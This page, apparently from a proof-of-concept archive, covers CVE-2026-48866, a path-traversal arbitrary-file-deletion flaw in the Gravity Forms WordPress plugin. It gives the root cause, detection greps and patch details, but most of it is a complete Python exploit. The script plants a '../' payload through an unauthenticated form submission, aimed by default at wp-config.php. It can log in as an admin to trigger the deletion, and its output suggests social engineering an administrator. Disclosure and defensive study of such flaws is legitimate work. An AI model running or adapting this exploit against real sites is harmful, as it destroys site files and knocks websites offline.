PoC Archive PoC Archive
Critical CVE-2026-48866 patched

Gravity Forms Path Traversal → Arbitrary File Deletion (CVE-2026-48866)

by 11259137 · 2026-07-05

CVSS 9.6/10
Severity
Critical
CVE
CVE-2026-48866
Category
web
Affected product
Gravity Forms plugin for WordPress
Affected versions
<= 2.10.0.1 (fixed in 2.10.1)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcher0xABCD01
CVE / AdvisoryCVE-2026-48866
Categoryweb
SeverityCritical
CVSS Score9.6 (CVSS 3.1, per source README/REVIEW: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)
StatusPoC
Tagswordpress, gravity-forms, path-traversal, cwe-22, arbitrary-file-deletion, php, unauthenticated-injection
RelatedN/A

Affected Target

FieldValue
Software / SystemGravity Forms plugin for WordPress
Versions Affected<= 2.10.0.1 (fixed in 2.10.1)
Language / PlatformPHP / WordPress, PoC written in Python 3
Authentication RequiredNo for injection (unauthenticated form submission); admin interaction/credentials required to trigger the actual file deletion
Network Access RequiredYes

Summary

Gravity Forms stores the URL of uploaded files in a form entry via the gform_uploaded_files parameter without stripping ../ sequences (esc_url_raw() and is_valid_url() both accept path-traversal payloads). When an entry containing such a URL is later deleted — typically by an admin doing routine cleanup — get_physical_file_path() converts the URL to a filesystem path via str_replace(), which preserves the ../ sequences, and the resulting path is passed to unlink() with no validation. This lets an unauthenticated attacker plant a poisoned entry that deletes an arbitrary file (e.g. wp-config.php, .htaccess, a WAF plugin file) once the entry is removed. The included PoC (poc.py) automates both the injection phase and, given admin credentials, the trigger phase, then checks whether the target file’s removal knocked the site offline.


Vulnerability Details

Root Cause

delete_physical_file() in Gravity Forms’ forms_model.php calls get_physical_file_path(), which resolves the stored file URL to a filesystem path using str_replace(url_base, path_base, $url). Because str_replace() does not canonicalize the path, any ../ sequences embedded in the originally-submitted URL survive into the resulting filesystem path and are resolved by the OS at unlink() time. No check exists between the str_replace() call and the unlink() call. The fix in 2.10.1 adds GFCommon::is_file_in_uploads(), which resolves ./.. segments via GFCommon::get_absolute_path() and verifies the resolved path is still inside the uploads directory before allowing deletion.

Attack Vector

  1. Attacker finds a public-facing Gravity Forms form with a file-upload field.
  2. Attacker submits the form via the unauthenticated wp_ajax_nopriv_gform_submit_form AJAX action, embedding a crafted gform_uploaded_files URL such as https://target/wp-content/uploads/gravity_forms/../../../wp-config.php.
  3. Both esc_url_raw() and GFCommon::is_valid_url() accept the URL as valid, and it is stored verbatim in the entry’s post meta.
  4. At some point (minutes, hours, or weeks later) an admin deletes the entry via the Gravity Forms admin UI (routine cleanup or bulk delete).
  5. delete_physical_file() resolves the poisoned URL to a filesystem path and calls unlink(), deleting the targeted file on the server.

Impact

Deleting wp-config.php takes the site offline and can allow an attacker (with a reachable rogue MySQL server and an accessible WordPress installer) to point the reinstalled site at attacker-controlled infrastructure. Deleting .htaccess, plugin files (e.g. a WAF plugin), or core files can disable security controls or break site functionality. Per the repo’s own technical review (REVIEW.md), the PoC’s automated “trigger” phase has several reliability defects (hardcoded form ID in the entry-detail URL, weak success/nonce detection, deletion of “latest entry” rather than the confirmed poisoned entry) that reduce its real-world reliability even though the underlying vulnerability and injection technique are confirmed valid by source-diff analysis between the vulnerable and patched Gravity Forms versions.


Environment / Lab Setup

Target:   WordPress site running Gravity Forms <= 2.10.0.1, with a public form containing a file-upload field
Attacker: Python 3.8+ with `requests`, network access to the target's wp-admin/admin-ajax.php endpoint

Proof of Concept

PoC Script

See poc.py in this folder. See REVIEW.md for a detailed independent technical review of the PoC’s reliability issues.

1
2
3
4
5
6
7
python3 poc.py --target https://test.com --form-id 1 --field-id 3

python3 poc.py --target https://test.com --form-id 1 --field-id 3 \
    --trigger --admin-user admin --admin-pass 'P@ssw0rd!'

python3 poc.py --target https://test.com --form-id 1 --field-id 3 \
    --file .htaccess --depth 2 --trigger --admin-user admin --admin-pass 'P@ssw0rd!'

The script first fetches the form page to extract an AJAX nonce, then submits the form with a gform_uploaded_files payload containing the traversal sequence pointing at the target file. If --trigger is supplied with admin credentials, it logs in, locates an entry, and deletes it via the Gravity Forms admin UI to fire the vulnerable unlink() call, then performs a basic HTTP health check to detect whether wp-config.php was removed.


Detection & Indicators of Compromise

grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/apache2/access.log
grep -E 'gform_uploaded_files.*(\.\./|%2e%2e)' /var/log/nginx/access.log

grep "Not deleting file from URL" /var/www/html/wp-content/uploads/gravity_forms/debug.log

Signs of compromise:

  • POST requests to admin-ajax.php with gform_uploaded_files containing ../ or its URL-encoded form (%2e%2e)
  • Unexpected disappearance of wp-config.php, .htaccess, or plugin files shortly after a Gravity Forms entry deletion
  • Site suddenly showing the WordPress install wizard or a database-connection error page

Remediation

ActionDetail
Primary fixUpdate Gravity Forms to >= 2.10.1, which adds GFCommon::is_file_in_uploads() validation before unlink()
Interim mitigationDeploy WAF/IDS rules blocking ..//%2e%2e sequences in gform_uploaded_files POST bodies; audit access logs for past exploitation attempts; verify file integrity of core WordPress files

References


Notes

Mirrored from https://github.com/0xABCD01/CVE-2026-48866 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
#!/usr/bin/env python3
"""
CVE-2026-48866 - Gravity Forms <= 2.10.0.1 Arbitrary File Deletion via Path Traversal
CVSS: 9.6 (Critical) | CWE-22 | Unauthenticated (requires admin interaction to trigger)

Vulnerability:
  Gravity Forms does not validate that file URLs stored in entries are within
  the uploads directory. An attacker can submit a form with a crafted
  gform_uploaded_files parameter containing path traversal sequences (../).
  When an admin later deletes the entry (or the file from the entry), the
  delete_physical_file() function resolves the traversal and deletes an
  arbitrary file from the server filesystem.

Attack Flow:
  1. Attacker submits a public form with a multi-file upload field
  2. POST includes gform_uploaded_files with a URL containing ../../../target_file
  3. URL passes esc_url_raw() and is_valid_url() checks (neither strips ../)
  4. Malicious URL is stored in the database entry
  5. When admin deletes the entry, unlink() is called on the traversed path

Fix (2.10.1):
  Added GFCommon::is_file_in_uploads() check that resolves ../. sequences
  and verifies the canonical path starts with the uploads directory.

Usage:
  python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php
  python3 poc.py --target https://test.com --form-id 1 --field-id 1 --file wp-config.php --trigger --admin-user admin --admin-pass password

Date: 2026-06-01
"""

import argparse
import json
import re
import sys
import urllib.parse

try:
    import requests
except ImportError:
    print("[!] 'requests' module not found. Install with: pip install requests")
    sys.exit(1)


def get_form_nonce(session, target, form_id):
    """Fetch the form page and extract the nonce and gform_unique_id."""
    # Try the home page first, then common form pages
    for path in ['/', f'/?gf_page=preview&id={form_id}', '/contact/', '/submit/']:
        try:
            resp = session.get(f'{target}{path}', timeout=15, verify=False)
            if resp.status_code == 200 and f'gform_submit_{form_id}' in resp.text:
                break
        except Exception:
            continue
    else:
        # Try wp-admin preview as fallback
        resp = session.get(f'{target}/wp-admin/admin.php?page=gf_edit_forms&view=settings&subview=preview&id={form_id}', timeout=15, verify=False)

    nonce_match = re.search(r'gform_ajax_nonce["\s:]+["\']([a-f0-9]+)["\']', resp.text)
    if not nonce_match:
        # Try alternate nonce patterns
        nonce_match = re.search(r'name=["\']gform_ajax_nonce["\'][^>]*value=["\']([a-f0-9]+)["\']', resp.text)
    if not nonce_match:
        nonce_match = re.search(r'"nonce":"([a-f0-9]+)"', resp.text)

    nonce = nonce_match.group(1) if nonce_match else None

    unique_id_match = re.search(r'gform_unique_id["\s:]+["\']([a-zA-Z0-9]+)["\']', resp.text)
    unique_id = unique_id_match.group(1) if unique_id_match else 'abc123def456'

    return nonce, unique_id, resp.text


def craft_payload(target, form_id, field_id, target_file, traversal_depth=3, upload_url=None):
    """Craft the gform_uploaded_files payload with path traversal."""
    # Upload root: {target}/wp-content/uploads/gravity_forms/
    # Traversal escapes gravity_forms/ -> uploads/ -> wp-content/ -> WP root
    traversal = '../' * traversal_depth
    if upload_url:
        malicious_url = f'{upload_url.rstrip("/")}/{traversal}{target_file}'
    else:
        malicious_url = f'{target}/wp-content/uploads/gravity_forms/{traversal}{target_file}'

    input_name = f'input_{field_id}'
    payload = {
        input_name: [
            {
                'url': malicious_url,
                'uploaded_filename': 'legitimate.txt',
                'id': 'poc-file-1'
            }
        ]
    }

    return json.dumps(payload), malicious_url


def submit_form(session, target, form_id, field_id, target_file, traversal_depth=3, upload_url=None):
    """Submit the form with the crafted path traversal payload."""
    print(f'[*] Fetching form page to get nonce...')
    nonce, unique_id, page_html = get_form_nonce(session, target, form_id)

    if nonce:
        print(f'[+] Got nonce: {nonce}')
    else:
        print(f'[!] Could not extract nonce from form page. Trying without nonce...')

    gform_uploaded_files, malicious_url = craft_payload(
        target, form_id, field_id, target_file, traversal_depth, upload_url
    )

    print(f'[*] Crafted payload URL: {malicious_url}')
    print(f'[*] gform_uploaded_files: {gform_uploaded_files}')

    post_data = {
        f'is_submit_{form_id}': '1',
        'gform_submit': str(form_id),
        f'gform_unique_id': unique_id,
        'gform_uploaded_files': gform_uploaded_files,
        'gform_target_page_number_1': '0',
        'gform_source_page_number_1': '1',
        'gform_field_values': '',
    }

    if nonce:
        post_data['gform_ajax_nonce'] = nonce

    ajax_url = f'{target}/wp-admin/admin-ajax.php'

    print(f'\n[*] Submitting form {form_id} to {ajax_url}...')
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
        'X-Requested-With': 'XMLHttpRequest',
    }

    post_data['action'] = 'gform_submit_form'
    resp = session.post(ajax_url, data=post_data, headers=headers, timeout=30, verify=False)

    print(f'[*] Response status: {resp.status_code}')
    print(f'[*] Response length: {len(resp.text)}')

    if resp.status_code == 200:
        entry_id = None
        # Try to extract entry_id from the AJAX response
        eid_match = re.search(r'"entry_id"\s*:\s*"?(\d+)"?', resp.text)
        if not eid_match:
            eid_match = re.search(r'entry_id=(\d+)', resp.text)
        if not eid_match:
            eid_match = re.search(r'lid=(\d+)', resp.text)
        if eid_match:
            entry_id = eid_match.group(1)

        if 'gformRedirect' in resp.text or 'confirmation' in resp.text.lower() or 'thank' in resp.text.lower():
            print(f'[+] Form submitted successfully. Malicious URL stored in entry.')
            if entry_id:
                print(f'[+] Entry ID: {entry_id}')
            return True, entry_id
        elif 'validation_error' in resp.text or 'validation_message' in resp.text:
            print(f'[-] Form validation failed. The form may require additional fields.')
            print(f'    Response snippet: {resp.text[:500]}')
            return False, None
        else:
            print(f'[-] Unclear response. Cannot confirm entry creation.')
            print(f'    Response snippet: {resp.text[:500]}')
            return False, None
    else:
        print(f'[-] Submission failed with status {resp.status_code}')
        del post_data['action']
        resp = session.post(target, data=post_data, headers=headers, timeout=30, verify=False)
        print(f'[*] Direct POST response: {resp.status_code}')
        return resp.status_code == 200, None


def trigger_deletion(session, target, admin_user, admin_pass, form_id, poisoned_entry_id=None):
    """Log in as admin and delete the poisoned entry to trigger the file deletion."""
    print(f'\n[*] === Phase 2: Triggering file deletion as admin ===')

    login_url = f'{target}/wp-login.php'
    login_data = {
        'log': admin_user,
        'pwd': admin_pass,
        'wp-submit': 'Log In',
        'redirect_to': f'{target}/wp-admin/',
        'testcookie': '1',
    }
    session.cookies.set('wordpress_test_cookie', 'WP+Cookie+check')
    resp = session.post(login_url, data=login_data, timeout=15, verify=False, allow_redirects=True)

    if 'dashboard' in resp.text.lower() or resp.url.endswith('/wp-admin/'):
        print(f'[+] Logged in as {admin_user}')
    else:
        print(f'[-] Login may have failed. Status: {resp.status_code}, URL: {resp.url}')
        return False

    entries_url = f'{target}/wp-admin/admin.php?page=gf_entries'
    resp = session.get(entries_url, timeout=15, verify=False)

    entry_ids = re.findall(r'entry_id=(\d+)', resp.text)
    if not entry_ids:
        print(f'[*] Trying REST API to find entries...')
        api_resp = session.get(f'{target}/wp-json/gf/v2/entries?_sort_direction=DESC&paging[page_size]=5', timeout=15, verify=False)
        if api_resp.status_code == 200:
            try:
                entries_data = api_resp.json()
                if 'entries' in entries_data:
                    entry_ids = [str(e['id']) for e in entries_data['entries']]
            except Exception:
                pass
        elif api_resp.status_code in (401, 403):
            print(f'[-] REST API requires authentication or is disabled.')
        else:
            print(f'[-] REST API returned {api_resp.status_code}')

    if not entry_ids:
        print(f'[-] No entries found. The form submission may not have created an entry.')
        return False

    # If we know the poisoned entry ID, use it directly
    if poisoned_entry_id and str(poisoned_entry_id) in [str(e) for e in entry_ids]:
        latest_entry_id = str(poisoned_entry_id)
        print(f'[+] Using poisoned entry ID: {latest_entry_id}')
    elif poisoned_entry_id:
        # Entry ID not in the list — might be on a different page
        print(f'[!] Poisoned entry {poisoned_entry_id} not in first page of results.')
        print(f'[*] Trying poisoned entry ID directly: {poisoned_entry_id}')
        latest_entry_id = str(poisoned_entry_id)
    else:
        latest_entry_id = entry_ids[0]
        print(f'[+] Found latest entry ID: {latest_entry_id}')
        print(f'[!] No poisoned entry ID known. Deleting latest entry may target wrong entry.')

    entry_detail_url = f'{target}/wp-admin/admin.php?page=gf_entries&view=entry&id={form_id}&lid={latest_entry_id}'
    resp = session.get(entry_detail_url, timeout=15, verify=False)

    delete_nonce = None
    nonce_match = re.search(r'page=gf_entries.*?delete.*?_wpnonce=([a-f0-9]+)', resp.text)
    if nonce_match:
        delete_nonce = nonce_match.group(1)

    if not delete_nonce:
        nonce_match = re.search(r'_wpnonce=([a-f0-9]+).*?delete', resp.text)
        if nonce_match:
            delete_nonce = nonce_match.group(1)

    if not delete_nonce:
        resp = session.get(entries_url, timeout=15, verify=False)
        nonce_match = re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', resp.text)
        if nonce_match:
            delete_nonce = nonce_match.group(1)

    if not delete_nonce:
        print(f'[-] Could not find delete nonce. Try deleting entry {latest_entry_id} manually.')
        return False

    print(f'[*] Deleting entry {latest_entry_id}...')
    delete_data = {
        'action': 'delete',
        'entry[]': latest_entry_id,
        '_wpnonce': delete_nonce,
    }
    resp = session.post(entries_url, data=delete_data, timeout=15, verify=False)

    if resp.status_code == 200:
        print(f'[+] Entry deleted. If the target file existed, it should now be deleted.')
        return True
    else:
        print(f'[-] Delete request returned status {resp.status_code}')
        return False


def verify_file_exists(session, target, target_file):
    """Check if the target file is accessible (for files like wp-config.php, check site health)."""
    print(f'\n[*] Checking target site health...')
    try:
        resp = session.get(target, timeout=15, verify=False)
        if target_file != 'wp-config.php':
            print(f'[!] Cannot verify deletion of {target_file} without server-side access.')
            return None
        if resp.status_code == 200 and ('WordPress' in resp.text or '<html' in resp.text):
            print(f'[+] Site is responding normally (file may not have been deleted yet)')
            return True
        elif resp.status_code == 500 or 'error establishing a database connection' in resp.text.lower():
            print(f'[!!!] Site returned error - wp-config.php may have been deleted!')
            return False
        else:
            print(f'[?] Site status: {resp.status_code}')
            return None
    except Exception as e:
        print(f'[!!!] Site unreachable: {e} - wp-config.php may have been deleted!')
        return False


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-48866 - Gravity Forms Path Traversal Arbitrary File Deletion PoC',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Phase 1 only - inject malicious entry (unauthenticated)
  python3 poc.py --target https://test.com --form-id 1 --field-id 3

  # Full exploitation - inject + trigger deletion
  python3 poc.py --target https://test.com --form-id 1 --field-id 3 \\
      --trigger --admin-user admin --admin-pass password

  # Target a specific file with custom traversal depth
  python3 poc.py --target https://test.com --form-id 1 --field-id 3 \\
      --file .htaccess --depth 2
        """
    )

    parser.add_argument('--target', '-t', required=True, help='Target WordPress URL (e.g., https://target.com)')
    parser.add_argument('--form-id', '-f', type=int, required=True, help='Gravity Forms form ID')
    parser.add_argument('--field-id', '-i', type=int, required=True, help='File upload field ID')
    parser.add_argument('--file', default='wp-config.php', help='File to delete (relative to WP root, default: wp-config.php)')
    parser.add_argument('--depth', type=int, default=3, help='Path traversal depth (default: 3 for gravity_forms -> wp root)')
    parser.add_argument('--upload-url', help='Full upload URL root (auto-detected if omitted, e.g. https://target.com/wp-content/uploads/gravity_forms)')
    parser.add_argument('--trigger', action='store_true', help='Also trigger the deletion by logging in as admin and deleting the entry')
    parser.add_argument('--admin-user', default='admin', help='WordPress admin username (for --trigger)')
    parser.add_argument('--admin-pass', default='admin', help='WordPress admin password (for --trigger)')
    parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
    parser.add_argument('--verify-only', action='store_true', help='Only check if the target file still exists')

    args = parser.parse_args()

    target = args.target.rstrip('/')
    if not target.startswith('http'):
        target = f'https://{target}'

    print(f'''
    CVE-2026-48866 - Gravity Forms Arbitrary File Deletion
    ======================================================
    Target:     {target}
    Form ID:    {args.form_id}
    Field ID:   {args.field_id}
    File:       {args.file}
    Depth:      {args.depth}
    Trigger:    {args.trigger}
    ''')

    session = requests.Session()
    session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'

    if args.proxy:
        session.proxies = {'http': args.proxy, 'https': args.proxy}

    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    if args.verify_only:
        verify_file_exists(session, target, args.file)
        return

    print(f'[*] === Phase 1: Injecting path traversal payload ===')
    success, entry_id = submit_form(session, target, args.form_id, args.field_id, args.file, args.depth, args.upload_url)

    if not success:
        print(f'\n[-] Phase 1 failed. Form submission did not succeed.')
        print(f'[*] Possible reasons:')
        print(f'    - Form requires additional required fields')
        print(f'    - Form ID or field ID is incorrect')
        print(f'    - AJAX submission is disabled')
        print(f'    - Anti-spam (honeypot/reCAPTCHA) is blocking')
        sys.exit(1)

    if args.trigger:
        admin_session = requests.Session()
        admin_session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        if args.proxy:
            admin_session.proxies = {'http': args.proxy, 'https': args.proxy}

        trigger_deletion(admin_session, target, args.admin_user, args.admin_pass, args.form_id, entry_id)

        verify_file_exists(session, target, args.file)
    else:
        print(f'\n[+] Phase 1 complete. The malicious URL has been injected into the entry.')
        print(f'[*] To trigger the deletion, an admin must delete the entry containing the')
        print(f'    poisoned file URL. This can be achieved via:')
        print(f'    1. Social engineering (send admin a link to delete the entry)')
        print(f'    2. Wait for routine entry cleanup')
        print(f'    3. Use --trigger flag with admin credentials to simulate')
        print(f'')
        print(f'[*] When the entry is deleted, the following file will be removed:')
        print(f'    {args.file}')


if __name__ == '__main__':
    main()